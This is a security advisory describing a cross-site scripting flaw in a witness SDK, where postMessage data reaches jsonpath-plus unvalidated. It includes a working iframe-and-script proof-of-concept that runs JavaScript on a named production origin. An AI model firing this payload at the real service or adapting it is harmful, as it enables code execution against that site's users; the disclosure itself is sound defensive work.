Cross-site scripting via postMessage
Description
The witness SDK receives incoming window messages and insecurely passes them to JSONPath
without validation. This allows an attacker to execute arbitrary JavaScript code.
This issue occurs in witness-sdk/src/providers/http-provider/utils.ts
where JSONPath
evaluates any JavaScript code wrapped in ()
:
import { JSONPath } from 'jsonpath-plus'
export function extractJSONValueIndex(json: string, jsonPath: string) {
const pointers = JSONPath({
path: jsonPath,
json: JSON.parse(json),
// ...
})
// ...
}
To test this vulnerability, we can use the following:
<iframe src="https://sdk-rpc.reclaimprotocol.org" id="frame"></iframe>
<script>
frame.onload = () => {
frame.contentWindow.postMessage(JSON.stringify({
module: 'witness-sdk',
channel: 'parent',
id: 1,
type: 'extractJSONValueIndex',
request: {
json: '{"asdf": 1}',
jsonPath: '("(alert(origin))")'
}
}), '*')
}
</script>
Impact
An attacker can execute arbitrary JavaScript code on the https://sdk-rpc.reclaimprotocol.org
origin, compromising the confidentiality and integrity of any witness SDK RPC calls and potentially allowing for phishing due to the trusted nature of reclaimprotocol.org.
Recommendations
The witness SDK should use a safe alternative to the jsonpath-plus library. Alternatively, the witness SDK can validate that incoming messages do not contain malicious JavaScript before passing them to JSONPath
.